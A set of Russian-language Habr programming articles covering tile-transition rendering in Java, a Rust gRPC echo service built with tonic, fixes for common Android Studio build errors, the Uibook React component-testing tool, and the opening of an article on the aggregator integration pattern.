Здесь абсолютно такой же принцип. Единственное отличие — стартовый номер индекса текстуры, чтобы нам взять нужный и ещё один цикл, который задает смещение, означающее с какой точки стартовать угол. Проверяется смежный угол (или сторона) против часовой стрелки, начинающийся с данной точки. Если хоть одна точка не является смежным тайлом — прерываемся, ни угла, ни стороны не получается.
Вот и всё, карта переходов у нас построена! На каждый тайл приходится по 5 бит. Один для хранения тайла (256 возможных вариаций) и по биту на каждый угол для хранения метаданных.
Осталось только отрендерить это дело. Я буду рассматривать старинный deprecated-метод через immediate-mode (планирую уйти на VBO, сейчас немножко надо разобраться со структурой и динамическим апдейтом VBO, а также отрисовкой лишь видимой его части).
Ну, тут нет ничего сложного:
```
public void renderTile(World world, int x, int y) {
int w = 16, h = 16;
int s = 0;
if (tileID > 0) {
for (int i = 0; i < 4; i++) {
int t = world.getTransition(x, y);
int src = ((t >> (3-i)*8) & 0xFF);
int idx = src >> 4 & 0xF;
int id = src & 0xF;
int u = (idx%8)*16, v = 16 + 16*(idx/8) + (id-1)*48,
u1 = u + w, v1 = v + h;
if (id != 0) {
GRenderEngine.drawTextureQuad(x*16, y*16, 128, 144, u, v, u1, v1); //не обращайте внимания на хардкод, всё равно будет переписан под VBO
}
}
}
}
```
Что мы делаем здесь? Ага, проходимся по каждым 8 битам и достаем 4 первых и 4 последних, для ID и перехода. Далее передаем параметры OpenGL, он уже распределяет отрисовку.
Результат:
(Да-да, LWJGL-канвас, встроенный в Swing).
Кажется, мы что-то забыли? Рисовать цельный кусок тайла, если 4 окружающие точки ему родны по высоте!
```
public void renderTile(World world, int x, int y) {
int w = 16, h = 16;
int s = 0;
if (tileID > 0) {
int c = 0;
for (int i = 0; i < 4; i++) {
int t = world.getTransition(x, y);
int src = ((t >> (3-i)*8) & 0xFF);
int idx = src >> 4 & 0xF;
int id = src & 0xF;
int u = (idx%8)*16, v = 16 + 16*(idx/8) + (id-1)*48,
u1 = u + w, v1 = v + h;
if (id != 0) {
if (id == tileID)
c++;
GRenderEngine.drawTextureQuad(x*16, y*16, 128, 144, u, v, u1, v1);
}
}
if (c == 4) {
GRenderEngine.drawTextureQuad(x*16, y*16, 128, 144, 0, 48*(tileID-1), 16, (tileID-1)*48+16);
}
}
}
```
Чего-то не хватает? Верно, нам надо решить как отрисовывать нижний тайл. Если честно, у меня это получилось решить почти случайно, но именно этот момент ещё требует доработки. Пока это можно считать прикрученным костылем, но на результат он не влияет.
Немножко изменим наш метод:
```
public void renderTile(World world, int x, int y) {
int w = 16, h = 16;
int s = 0;
if (tileID > 0) {
for (int i = 1; i <= tilesNum; i++) {
int corner = getTransitionCornerFor(world, x, y, i);
int c = 0;
if (corner > 0) {
for (int k = 0; k < 4; k++)
if ((corner >> k & 1) == 1) {
c++;
}
}
boolean flag = false;
int fill = getFillCornerFor(world, x, y, i);
if (fill > 0)
for (int k = 0; k < 4; k++)
if ((fill >> k & 1) == 1) {
c++;
if (k == 4 && c == 4)
flag = true;
}
if (c == 4) {
GRenderEngine.drawTextureQuad(x*16, y*16, 128, 144, 0, 48*(i-1), 16, (i-1)*48+16);
if (flag)
break;
}
}
for (int i = 0; i < 4; i++) {
int t = world.getTransition(x, y);
int src = ((t >> (3-i)*8) & 0xFF);
int idx = src >> 4 & 0xF;
int id = src & 0xF;
int u = (idx%8)*16, v = 16 + 16*(idx/8) + (id-1)*48,
u1 = u + w, v1 = v + h;
if (id != 0) {
GRenderEngine.drawTextureQuad(x*16, y*16, 128, 144, u, v, u1, v1);
}
}
}
}
```
Добавился ещё один метод. Он почти эквивалентен методу, который пишет биты смежных тайлов. Вот он:
```
public int getFillCornerFor(World world, int x, int y, int height) {
int corner = 0;
if (world.getTile(x-1, y).zOrder > height)
corner |= 0b0001;
if (world.getTile(x, y).zOrder > height)
corner |= 0b0010;
if (world.getTile(x, y-1).zOrder > height)
corner |= 0b0100;
if (world.getTile(x-1, y-1).zOrder > height)
corner |= 0b1000;
return corner;
}
```
Он определяет, все тайлы в округе, высота которых больше высота переданного тайла.
Т.е. мы перебираем все тайлы для данной клетки (естественно, перебирать стоит лишь автотайлы) и смотрим сколько тайлов находятся выше данного. Не забываем, что перед этим мы считаем количество точек, покрытых данным тайлом. Если количество точек данного тайла + сумма точек других тайлов перекрывающих данный == 4, то мы рисуем полный квад с данной текстуркой и прерываем цикл. Вот такие костыли.
Результат отличный:
Пожалуй, на этом всё.
P.S. Чем этот способ лучше того? Ну, WC3 наглядно демонстрирует, что с такой системой можно добиться ландшафта невообразимой красоты. Лично мне кажется, что она более гибкая, что, правда, создает некоторые сложности её реализации. И да, она всё же требует некоторой, как я сказал выше, доработки. | https://habr.com/ru/post/227205/ | null | ru | null |
# Как создать микросервис на Rust при помощи gRPC
❯ Введение
----------
В сегодняшнем туториале по Rust мы откроем для себя мир gRPC. Для этого создадим очень простой микросервис с единственной конечной точкой, который будет отзеркаливать то сообщение, что мы ему пошлем. Чтобы протестировать наш микросервис, мы также напишем простой клиент на Rust.
Перед изучением этого поста также будет полезно посмотреть предыдущие публикации автора по Rust:
<https://blog.ediri.io/lets-build-a-cli-in-rust>
<https://blog.ediri.io/how-to-asyncawait-in-rust-an-introduction>
❯ Предпосылки
-------------
Прежде, чем приступить к делу, нужно убедиться, что у нас установлены следующие инструменты:
* [Rust](https://www.rust-lang.org/)
* IDE или текстовый редактор на ваш выбор
* Компилятор буфера протоколов (protoc)
❯ Установка protoc
------------------
Чтобы сгенерировать код gRPC, необходимо установить компилятор `protoc`. Инструкции по установке на вашей платформе можете посмотреть [здесь](https://grpc.io/docs/protoc-installation/).
Если вы работаете в macOS, то установку можно выполнить при помощи Homebrew:
```
brew install protobuf
```
Убедитесь, что компилятор protoc доступен в вашем пути PATH:
```
protoc --version # should print the version
# libprotoc 3.21.9
```
Теперь, когда мы всё обустроили, давайте немного обсудим вопрос: *что такое gRPC 📡?*
❯ Что такое gRPC 📡?
-------------------
В gRPC клиентское приложение может непосредственно вызывать методы непосредственно в серверном приложении на другой машине, как если бы это был локальный объект. Так упрощается создание распределённых приложений и сервисов. На стороне сервера реализуется сервис и выполняется сервер gRPC, обрабатывающий клиентские вызовы. На стороне клиента стоит заглушка, предоставляющая те же методы, что и сервер.
❯ Буферы протоколов
-------------------
Буферы протоколов (Protocol Buffers) – это разработанный Google расширяемый механизм, нейтральный на уровне языка и платформы, предназначенный для сериализации структурированных данных. Эти буферы используются в gRPC по умолчанию.
Приведу пример, демонстрирующий, как работают **Protocol Buffers**. На первом этапе мы определяем структуру данных в файле с расширением .proto. Данные буфера протоколов структурированы в сообщениях, представляющих собой коллекции именованных полей. Вот очень упрощённый пример такого сообщения:
```
message Weather {
string city = 1;
int32 temperature = 2;
}
```
Когда мы определили наше сообщение, можно воспользоваться компилятором `protoc`, чтобы сгенерировать классы доступа к данным на том языке, что вам нравится (на основании proto-определения). В сгенерированных классах будут методы доступа к каждому из полей в сообщении.
Можно определить gRPC-сервисы в том же .proto-файле, что и сообщения, с теми же RPC-методами, что используют эти сообщения.
```
service WeatherService {
rpc GetWeather (WeatherRequest) returns (WeatherResponse) {}
}
message WeatherRequest {
string city = 1;
}
message WeatherResponse {
string forecast = 1;
}
```
Затем можно воспользоваться компилятором `protoc`, чтобы сгенерировать интерфейсы gRPC-клиента и сервера из .proto-сервиса.
❯ Создаем микросервис на Rust
-----------------------------
### Создаём новый проект
Для начала создадим новый проект при помощи команды `cargo`:
```
cargo new
```
### Добавляем поддержку CLI
Мы собираемся воспользоваться контейнером clap, чтобы добавить поддержку CLI к нашему микросервису и клиенту. Добавим в наш проект зависимость при помощи следующей команды:
```
cargo add clap --features derive
```
### Создаём Proto-файл
Далее создадим новый каталог под названием `proto`, и в этом каталоге положим новый файл `echo.proto`. Далее определим наш сервис и те сообщения, которые собираемся использовать:
```
syntax = "proto3";
package api;
message EchoRequest {
string message = 1;
}
message EchoResponse {
string message = 1;
}
service EchoService {
rpc Echo(EchoRequest) returns (EchoResponse);
}
```
❯ Сгенерируем код Rust из Proto-файла
-------------------------------------
Чтобы сгенерировать код Rust из proto-файла, воспользуемся контейнером tonic-build. Нам потребуется добавить его в наш проект как зависимость сборки при помощи следующей команды:
```
cargo add tonic-build --build
```
Теперь можно добавить следующий код в наш файл `build.rs`:
```
fn main() -> Result<(), Box> {
tonic\_build::compile\_protos("proto/echo.proto")?;
Ok(())
}
```
Как правило, мы выполняем команду `cargo build`, чтобы сгенерировать код `Rust` из proto-файла. В IntelliJ IDEA вам, возможно, придётся активировать `org.rust.cargo.evaluate.build.scripts` в разделе настроек «`Experimental Features`» (Экспериментальные возможности), чтобы всё заработало.
`tonic-build` входит в состав контейнера tonic, который представляет собой реализацию gRPC поверх HTTP/2; эта реализация заточена на высокую производительность, интероперабельность и гибкость. В основе этой реализации лежат `hyper`, `tokio` и `prost`.
Вот некоторые возможности `tonic`:
* Двунаправленная потоковая передача
* Высокопроизводительный асинхронный ввод/вывод
* Интероперабельность
* TLS, поддерживаемая rustls
* Балансировка нагрузки
* Пользовательские метаданные
* Аутентификация
* Проверка работоспособности
Наконец, нам потребуется добавить `tokio` к нашему проекту в качестве зависимости:
```
cargo add tokio --features macros, rt-multi-thread
```
Теперь, когда сгенерирован весь код gRPC 📡, можно приступать к реализации нашего микросервиса.
❯ Реализация микросервиса
-------------------------
Для начала создадим в каталоге src новый файл под названием `server.rs.rs`. Здесь мы собираемся реализовать нашу серверную логику.
Сначала нам потребуется импортировать сгенерированный код из нашего proto-файла, а также из контейнеров `tonic` и `clap`:
```
use tonic::{transport::Server, Request, Response, Status};
use api::echo_service_server::{EchoService, EchoServiceServer};
use api::{EchoRequest, EchoResponse};
use ::clap::{Parser};
```
Также понадобится включить сгенерированные из proto элементы для клиента и сервера, воспользовавшись для этого макросом `include_proto!`:
```
pub mod api {
tonic::include_proto!("api");
}
```
Теперь можно реализовать сервисную логику нашего микросервиса. Мы собираемся реализовать метод `Echo` для нашего сервиса, и этот метод будет отзеркаливать то сообщение, которое мы отправили сервису. Здесь мы применяем ключевое слово `async`, чтобы функция стала асинхронной, а также `#[tonic::async_trait]`, чтобы обеспечить совместимость с `tonic`.
```
#[derive(Debug, Default)]
pub struct Echo {}
#[tonic::async_trait]
impl EchoService for Echo {
async fn echo(&self, request: Request) -> Result, Status> {
println!("Got a request: {:?}", request);
let reply = EchoResponse {
message: format!("{}", request.into\_inner().message),
};
Ok(Response::new(reply))
}
}
```
Теперь можно запустить наш сервер и слушать входящие запросы. Чтобы сконфигурировать хост и порт нашего сервера, воспользуемся `clap`.
```
#[derive(Parser)]
#[command(author, version)]
#[command(about = "echo-server - a simple echo microservice", long_about = None)]
struct ServerCli {
#[arg(short = 's', long = "server", default_value = "127.0.0.1")]
server: String,
#[arg(short = 'p', long = "port", default_value = "50052")]
port: u16,
}
#[tokio::main]
async fn main() -> Result<(), Box> {
let cli = ServerCli::parse();
let addr = format!("{}:{}", cli.server, cli.port).parse()?;
let echo = Echo::default();
println!("Server listening on {}", addr);
Server::builder()
.add\_service(EchoServiceServer::new(echo))
.serve(addr)
.await?;
Ok(())
}
```
Далее определим в файле `Cargo.toml` целевой бин:
```
[[bin]]
name = "echo-server"
path = "src/server.rs"
```
Запустим сервер:
```
cargo run --bin echo-server
```
После чего должен получиться следующий вывод:
```
Server listening on 127.0.0.1:50052
```
Можно сконфигурировать хост и порт сервера при помощи флагов `--server` и `--port`:
```
cargo run --bin echo-server -- --server 0.0.0.0 --port 50051
```
❯ Реализация клиента
--------------------
Для реализации клиента добавим следующие строки в имеющийся у нас файл `main.rs`. Сначала нужно импортировать сгенерированный код из нашего proto-файла и из контейнера `clap`, чтобы разобрать аргументы командной строки:
```
use api::echo_service_client::EchoServiceClient;
use api::EchoRequest;
use ::clap::{Parser};
pub mod api {
tonic::include_proto!("api");
}
```
Как и в случае с сервером, воспользуемся `clap`, чтобы сконфигурировать хост и порт для нашего клиента. Здесь мы задействуем аргумент `message`, чтобы отправить на сервер выбранное нами сообщение:
```
#[derive(Parser)]
#[command(author, version)]
#[command(about = "echo - a simple CLI to send messages to a server", long_about = None)]
struct ClientCli {
#[arg(short = 's', long = "server", default_value = "127.0.0.1")]
server: String,
#[arg(short = 'p', long = "port", default_value = "50052")]
port: u16,
/// The message to send
message: String,
}
```
Нам осталось написать только главную функцию, которая будет создавать клиент и отправлять сообщение на сервер. Поскольку мы используем режим `async/await`, нам потребуется среда выполнения `tokio`. Для этого следует добавить атрибут `#[tokio::main]` к нашей главной функции:
```
#[tokio::main]
async fn main() -> Result<(), Box> {
let cli = ClientCli::parse();
let mut client = EchoServiceClient::connect(format!("http://{}:{}", cli.server, cli.port)).await?;
let request = tonic::Request::new(EchoRequest {
message: cli.message,
});
let response = client.echo(request).await?;
println!("RESPONSE={:?}", response.into\_inner().message);
Ok(())
}
```
Также определим в нашем файле Cargo.toml целевой бин и для нашего клиента:
```
[[bin]]
name = "echo-client"
path = "src/main.rs"
```
Запустим клиент:
```
cargo run --bin echo-client -- "Hello World!"
```
Должен получиться следующий вывод:
```
RESPONSE="Hello World"
```
Сконфигурировать хост и порт для клиента можно при помощи флагов `--server` и `--port`, примерно как и в случае с сервером.
❯ Заключение
------------
В этой статье было рассказано, как при помощи `tonic` и `clap` написать простой gRPC-микросервис на Rust. Также мы узнали, как написать proto-файл и сгенерировать код для клиента и сервера при помощи `tonic-build` посредством `build.rs`
Эта техническая статья, как и большинство ей подобных, позволяет рассмотреть тему только в самом общем виде. Такие технологии как `gRPC` гораздо сложнее, и я настоятельно рекомендую вам почитать официальную документацию по `tonic` и `gRPC`, чтобы подробнее разобраться в этой теме.
[](https://timeweb.cloud//vds-vps?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/715854/ | null | ru | null |
# Методы лечения различных ошибок в Android Studio при разработке проекта
Сегодня хотел бы поделиться своим анализом и способами лечением разных ошибок при разработке своего продукта в Android Studio. Лично я, не раз сталкивался с различными проблемами и ошибками при компиляции и/или тестировании мобильного приложения. Данный процесс, всегда однообразный и в 99% случаев и всегда нужно тратить n-колличество времени на его устранение. Даже, когда ты уже сталкивался с данной проблемой, ты все равно идешь в поисковик и вспоминаешь, как же решить ту или иную ситуацию.
Я для себя завел файлик, в котором отметил самые частые ошибки — потратив на это несколько часов и перечислил самые популярные ошибки (в дальнейшем планирую просто их запомнить), чтоб сократить свое время в дальнейшем.
Итак, начну по порядку с самой распространенной проблемы и дальше буду перечислять их по мере появления:
**1) Если подчеркивает красным код, где используются ресурсы: R.** — попробовать (но вероятно не поможет): Build -> Clean Project.
В принципе на Build -> Clean Project можно не терять времени, а лучше всего — слева переключиться на Project, открыть каталог .idea, затем каталог libraries и из него удалить все содержимое. Затем нажать кнопку Sync Project. А затем (если все еще красное, но скорее всего уже будет все ок ) Build -> Clean Project.
**2) После внезапного выключения компьютера, после перезапуска может быть во всех проектах весь код красным.** Перед этим может быть ошибка: Unable to create Debug Bridge: Unable to start adb server: Unable to obtain result of 'adb version'. Есть три решения — первое помогло, второе нет (но может быть для другого случая), а третье — не пробовал:
а) File — Invalidate Caches/Restart — Invalidate and Restart
б) Закрыть студию. В корне папки проекта удалить файл(ы) .iml и папку .idea. Вновь запустить студию и импортировать проект.
в) Нажать Ctrl-Alt-O и запустить оптимизацию импорта.
Кстати, adb сервер можно проверить на версию (и работоспособность) и затем перезапустить:
```
adb version
adb kill-server
adb start-server
```
**3) Если Android Studio выдает приблизительно такую ошибку: Error:Execution failed for task ':app:dexDebug'...**
Решение:
Надо слева переключиться на опцию Project, найти и удалить папку build которая лежит в папке app, т.е. по пути app/build. Затем перестроить весь проект заново: Build -> Rebuild Project.
Такое же решение если ошибка типа: «не могу удалить (создать) папку или файл» и указан путь, который в ведет в app/build. Тоже удаляем папку build и ребилдим проект.
**4) В сообщении об ошибке упоминается heap — виртуальная память.** А ошибка обычно вызвана ее нехваткой, т.е. невозможностью получить запрашиваемый объем. Поэтому этот запрашиваемый объем надо уменьшить, т.е. переписать дефолтное значение (обычно 2048 MB которое можно изменить в настройках), на меньшее 1024 MB.
В файле проекта gradle.properties пишем:
org.gradle.jvmargs=-Xmx1024m
**5) Android Studio пришет примерно такую ошибку: Plugin is too old, please update to a more recent version, or set ANDROID\_DAILY\_OVERRIDE environment variable to «83648b99316049d63656d7276cb19cc7e95d70a5»**
Возможные причины (кроме необходимости регулярного обновления SDK):
а) Загруженный проект был скомпилирован с помощью уже несовместимого старого gradle плагина. В этом случае надо найти и подключить в своем build.gradle проекта этот более старый плагин. т.е. попробовать более старые версии, например: 1.1.3 (часто именно 1.1.x и подходит).
com.android.tools.build:gradle:1.1.3
Найти все версии можно [здесь](http://tools.android.com/tech-docs/new-build-system).
б) Если в build.gradle проекта используется beta-версия плагина — это означает, что срок ее истек. Посмотреть последние релизы (продакшн и бета) можно также [здесь](http://tools.android.com/tech-docs/new-build-system):
**6) Иногда при подключении сторонних библиотек могут дублироваться некоторые файлы (обычно связанные с лицензированием). В сообщении будет что-то содержащее слова: duplicate files.** Решение — надо посмотреть в сообщении об ошибке или в документации подключенной сторонней библиотеки — какие именно файлы стали избыточными, и перечислить их в build.gradle модуля для исключения (exclude) из билда.
Это делается в директиве packagingOptions (которая, в свою очередь, находится в директиве android).
Например, при подключении библиотеки Firebase (облачный бек-енд сервис) в случае возникновения такой ошибки в build.gradle модуля (не проекта) добавляем packagingOptions в android (уже существующие там директивы оставляем) так:
```
android {
...
packagingOptions {
exclude 'META-INF/LICENSE'
exclude 'META-INF/LICENSE-FIREBASE.txt'
exclude 'META-INF/NOTICE'
}
}
```
P.S.: Думаю, данная статья была полезна. Если у вас есть еще какие-то частные проблемы при работе с проектами в Android Studio, с удовольствием выслушаю их. Как по мне, 6 проблемных причин, которые я перечислил выше — это 99% всех случаев краха проекта. Конечно, если проблема не связана с вашим личным кодом. | https://habr.com/ru/post/270479/ | null | ru | null |
# Uibook — инструмент для визуального тестирования React-компонентов с медиа-запросами
Всем привет! Меня зовут Виталий Ризо, я фронтенд-разработчик в «Амплифере». Мы [сделали](https://amplifr.com/uikit/#AutopilotPopup:ru) Uibook — простой инструмент для визуального тестирования React-компонентов с реальными медиа-запросами. Расскажу, как он работает и чем может быть полезен вам.
Зачем сделали и в чём польза
----------------------------
При создании новых компонентов мы страдали при рефакторинге — для проверки приходилось менять атрибуты через DevTools вручную, могли пропустить какие-то мелочи. Поэтому решили сделать страницу, где можно быстро тестировать компоненты.
Uibook позволяет быстро увидеть компоненты в любых состояниях и комбинациях параметров (props). Благодаря поддержке медиа-запросов, разработчик на одной странице может отобразить настольные и мобильные версии компонентов. Но Uibook полезен не только разработчикам:
* дизайнеры могут на своём устройстве, не поднимая локальный сервер, посмотреть всевозможные состояния компонентов и передать правки;
* менеджеры видят, что даже простой, на первый взгляд попап, может содержать кучу граничных состояний, которые разработчики вынуждены учитывать — это помогает им лучше понимать устройство интерфейса продукта изнутри;
* редакторы могут с помощью режима Live Text Editing примерить текст для интерфейса в реальных компонентах, чтобы он выглядел безупречно.
Чем отличается от аналогов
--------------------------
Вы можете спросить, зачем изобретать велосипед, когда есть готовые Storybook, Styleguidist и подобные решения? У моего проекта другой подход и я выделяю три основных отличия:
* В Uibook сразу можно смотреть компоненты в условиях ограниченной ширины и высоты устройств;
* Он не требует отдельного сборщика и легко подключается к существующему проекту парой строк в конфигурационном файле;
* Подразумевается, что страницы с компонентами будут доступны публично, чтобы любой пользователь мог найти ошибки и оставить обратную связь.
Uibook нужен в основном для визуального тестирования, а не разработки, хотя и разрабатывать «представляющую» часть проекта с ним удобно. Пришлось внести глобальные изменения в проект? Пробегитесь по всем страницам, чтобы убедиться в корректном отображении всех компонентов.
Техническая реализация
----------------------
Uibook представляет собой React-приложение, в которое передаются Страницы — наборы «кейсов», то есть, состояний одного компонента (props и callbacks). Далее, Uibook рендерит выбранную Страницу на одном экране, используя два контроллера: с медиа-запросами и без них.
Поскольку эмулировать медиа-запросы средствами CSS и JavaScript невозможно, мы пошли простым путём: рендерить компонент внутри , если пользователь указал ширину или высоту экрана.
Главный контроллер оборачивает компонент в любую пользовательскую обёртку, а также позволяет выбирать значения в браузере. В `iframe` данные передаются через ссылку. Также главный контроллер добавляет горячие клавиши и возможность редактировать текст.
Я не хотел иметь отдельные сборщики для проекта и визуального тестирования. Другие продукты вынуждают это делать, из-за чего приходится хранить больше файлов, зависимостей, всё это дольше настраивается, дольше запускается, сложнее собирается и деплоится. Uibook же интегрируется в сборщик проекта, так как просто добавляется как Webpack-плагин:
```
plugins: [
…
new UibookPlugin({
controller: path.join(__dirname, '../controllers/uibook.js')
})
]
```
*webpack.config.js*
Uibook создаёт отдельный чанк и не увеличивает размер основного приложения. Работает это через вебпаковские `SingleEntryPlugin` или `MultiEntryPlugin`. Он подтягивает стили и скрипты из основного приложения с учётом кэширования (”cachebuster”). Вот как плагин получает список нужных файлов:
```
let files = compilation.chunks.find(function (i) {
return i.name === 'uibook'
}).files
```
Затем он генерирует HTML-файл без использования зависимостей. Ведь это очень простая задача, нет необходимости тянуть библиотеки для этого. Берём шаблон, добавляем импорты, добавляем в выдачу:
```
compilation.assets[outputPath + '/index.html'] = { … }
```
Но если у вас всё же подключён `HtmlWebpackPlugin`, то придётся добавить `uibook` в исключения, о чём Uibook мило напомнит.
Uibook очень прост
------------------
У него в зависимостях только React, Webpack да `create-react-class`. Он написан на ES5, поэтому будет работать, даже если у вас нет Babel в проекте. А если есть, то не будет конфликтов плагинов. В Uibook встроены подсказки, если в конфигурационном файле что-то не так.
Uibook гибок
------------
Вы можете обернуть все компоненты в свой контроллер. Это может быть обёртка для Redux, Context или всего сразу. Вот пример с новым Context API:
```
export default UibookStarter({
wrapper: (children, props) =>
{ children }
,
values: {
locale: ['ru', 'en'],
theme: ['dark', 'light']
},
…
})
```
Список пользовательских ключей и их значений будет отображаться в верхнем навигационном меню.
Как внедрить Uibook в проект
----------------------------
Например, мы хотим добавить компонент Кнопка, который лежит в `src/button.js`. Нужно установить пакет `uibook`, создать файл-контроллер и файл-страницу. Файл-контроллер служит для импорта ваших Uibook-тестов, а файл-страница — это набор «кейсов», комбинаций параметров для одного компонента.
Вот как это сделать:
1) Приступим, `$ yarn add uibook`;
2) Здесь можно воспользоваться командой `$ npm init uibook`, которая создаст файлы-примеры, а можно сделать всё вручную. Приблизительно структура получится такой:
```
your-project
├── uibook
│ ├── button.uibook.js
│ └── uibook-controller.js
├── src
│ └── button.js
├── webpack.config.js
└── package.json
```
3) Подключаем плагин в конфигурационном файле Webpack:
```
let UibookPlugin = require('uibook/plugin')
module.exports = {
…
plugins: [
new UibookPlugin({
controller: path.join(__dirname, '../src/uibook-controller.js'),
})
],
}
```
*webpack.config.js*
4) Запишем тест в `uibook/button.uibook.js`. Если вы воспользовались командой `init`, то этот пример уже создан:
```
import UibookCase from 'uibook/case'
import Button from '../src/button.js'
const PROPS = {
onClick: UibookCase.event('onClick')
}
const ButtonUibook = {
component: Button,
name: 'Button',
cases: [
() =>
Large Button
,
() =>
Disabled Button
]
}
export default ButtonUibook
```
*button.uibook.js*
5) Импортируем и передаём этот uibook-тест в файле-контроллере:
```
import UibookStarter from 'uibook/starter'
import ButtonUibook from './button.uibook'
export default UibookStarter({
pages: {
Button: ButtonUibook,
}
})
```
*uibook-controller.js*
6) Готово! Запускаем свой проект как обычно (например, `$ yarn start`) и открываем страницу `/uibook` в браузере. Мы увидим три кейса с кнопкой (если у вас есть компонент `/src/button.js`, конечно):
Как Uibook помог нам
--------------------
Мы [используем](https://amplifr.com/uikit/) Uibook в своей работе уже больше года всей командой. Фронтендеры разрабатывают новые компоненты только через Uibook, попутно создавая тест-файл с граничными параметрами (props). Это намного быстрее, чем писать параллельно контроллер, чтобы увидеть компонент в реальном веб-приложении. Более того, этот тест-файл будет использоваться в дальнейшем для визуального тестирования после каких-либо глобальных изменений.
Андрей Ситник [Iskin](https://habr.com/ru/users/iskin/), ведущий фронтенд-разработчик в «Злых марсианах» отмечает, что Uibook делает работу спокойнее:
> Uibook дал нам наконец-то уверенность, что после обновления normalize.css у нас ничего не сломалось. Просто открываем и просматриваем подряд все компоненты. Тут сильно помогает главная фича — поддержка `@media`, так что на странице все состояния компонентов. У разработчиков меньше страхов, у менеджеров — меньше багов. Все довольны.
Да и сам процесс тестирования упростился. Теперь фронтендер пишет новый компонент (view-составляющую), попутно создавая файл с параметрами (props). Контроллер при этом не нужен — можно деплоить по ходу разработки, не внедряя компонент в само веб-приложение.
Другие фронтенд-разработчики ревьюят компонент, используя локальный или задеплоенный Uibook: можно понажимать на все кнопочки и проверить, что callback вызываются. Так мы экономим до 30 часов каждый месяц на тестировании компонентов.
Дамир Мельников, фронтенд-разработчик «Амплифера», также отмечает возможность совместной работы с дизайнерами, продактами и редакторами:
> Uibook позволяет мне быстро работать над компонентами — примерять новые стили, следить за мобильной версией, изучать, как ведёт себя компонента при разных вводных. Кроме того, Uibook позволяет быстро поделиться своей работой с дизайнером (живой макет), редактором (для вычитки интерфейсных текстов) и другими фронтенд-разработчиками.
Контент-лид «Амплифера» Александр Марфицин замечает, как Uibook упростил работу по написанию интерфейсных текстов:
> Когда делаешь тексты для интерфейса, то часто работаешь вслепую и не видишь, как будут выглядеть надписи в «живом» продукте. Uibook решает эту проблему. Можно не только вычитывать старые тексты, но и создавать новые, опираясь на ограничения компонентов и примеряя свои черновики на реальном интерфейсе. Все текстовые элементы редактируемы, это позволяет получать цельный результат — от заголовка до даже самой маленькой надписи.
>
>
>
> И сам процесс работы стал более прозрачным — с Uibook лучше понимаешь устройство продукта и интерфейса изнутри, начинаешь лучше понимать важность хорошего текста для интерфейса.
⌘⌘⌘
*Надеюсь, что Uibook найдёт применение в вашем проекте. Если остались вопросы, то посмотрите [детальную инструкцию](https://github.com/vrizo/uibook/) в репозитории на Гитхабе. Или пишите [мне в твиттере](https://twitter.com/vitaliirizo) или [на почту](mailto:kb@kernel-it.ru).*
*Спасибо Александру Марфицину [marfitsin](https://habr.com/ru/users/marfitsin/) за помощь в подготовке статьи.* | https://habr.com/ru/post/454176/ | null | ru | null |
# Агрегаторы
В первой части статьи обсуждаются проблемы агрегации данных, подходы и требования к имплементации. Во второй рассматриваются некоторые решения на основе Java и [RACE Framework](https://github.com/aegisql/conveyor/wiki).
Часть I - общий анализ шаблона
------------------------------
### Введение
Слово агрегатор можно перевести на русский язык как “собиратель” или “объединитель”. Наиболее общее описание шаблона приводится в книге [“Шаблоны интеграции корпоративных приложений”](https://www.ozon.ru/product/shablony-integratsii-korporativnyh-prilozheniy-3083192). Краткое описание - на [сайте](https://www.enterpriseintegrationpatterns.com/Aggregator.html) шаблонов интеграции. Шаблон агрегатор так же описывается как один из шаблонов микросервисов.
Как не трудно догадаться из названия, агрегатор служит для объединения данных. Агрегатор это процесс с отслеживанием состояния, который собирает (агрегирует) родственные сообщения, и когда все необходимые сообщения получены, формирует из них итоговое сообщение или объект, который передается в выходной поток для дальнейшей обработки. Приведенная ниже схема заимствована со страницы агрегатора на сайте шаблонов интеграции корпоративных приложений.
Рис. 1Особенностью шаблона является то, что входные потоки данных независимы, и отсутствует какая либо информация о количестве, порядке и времени доставки сообщений, и даже о том, будет ли какое либо ожидаемое сообщение доставлено вовсе. Канал (поток) ввода может быть один, как на рисунке, или несколько. Ключевым моментом, указывающим на необходимость использования агрегатора, является именно произвольный порядок следования блоков данных из которых необходимо создавать результирующие сообщения.
В приложениях основанных на потоках данных и сообщениях на агрегаторе лежит ответственная функция синхронизации, поскольку итоговое сообщение создается только после того как получены и обработаны все необходимые данные.
В первой части обсуждаются в деталях различные проблемы имплементации агрегаторов. Во второй даны примеры решений с использованием открытой Java библиотеки [RACE Framework](https://github.com/aegisql/conveyor/wiki).
### Взаимосвязь данных
В левой части диаграммы на рис 1. изображен некий абстрактный поток, из которого агрегатор один за другим извлекает сообщения. Сообщения следуют в произвольном порядке. Для начала, нужно понять как именно выделять из общего потока данные относящиеся к одной и той же сущности. Например, к одному и тому же заказу, или отчету. Для этого каждое сообщение должно, помимо данных, содержать CORRELATION\_ID - локально уникальный идентификатор взаимосвязи между разными кусочками информации относящимися к одному и тому же предмету. Для каждой задачи существует свой собственный способ уникального описания объектов. Примеры CORRELATION\_ID: ID сессии, уникальное имя пользователя, PID запущенного процесса, GUID созданный в начале запросов планировщиком задач, ID транзакции, первичный ключ записи в БД, и прочее. Возможны и сложные ключи, состоящие из нескольких полей разных типов. CORRELATION\_ID может быть как уникальным так и использоваться повторно. Важно лишь, чтобы две разные сборки не получили, случайно, один и тот же CORRELATION\_ID в интервале времени в котором они могут сосуществовать. Во-вторых, нужно уметь различать сами данные. Какую именно информацию содержит то или иное сообщение? Если каждый канал ввода данных поставляет данные строго одного и того же типа, то такой биркой может быть имя или ID канала связи. Если один и тот же канал используется для доставки данных разных типов, то бирка с именем типа сообщения должна быть частью сообщения. Примеры бирок: FIRST\_NAME - сообщение содержит имя. E\_MAIL - сообщение содержит адрес электронной почты. Бирки необходимы для того, чтобы агрегатор мог правильно обработать и расположить данные для построения финального объекта. Некоторые сообщения могут нести служебную функцию и не содержать информации которая непосредственно используется для создания итогового сообщения. Мы так же должны уметь различать их. Таким образом, каждое сообщение может быть охарактеризовано сложным двухкомпонентный ключом, состоящим из CORRELATION\_ID и бирки типа сообщения. Разумеется, сообщение может сопровождаться и другими атрибутами, но эти два являются минимально необходимыми.
### Продукт
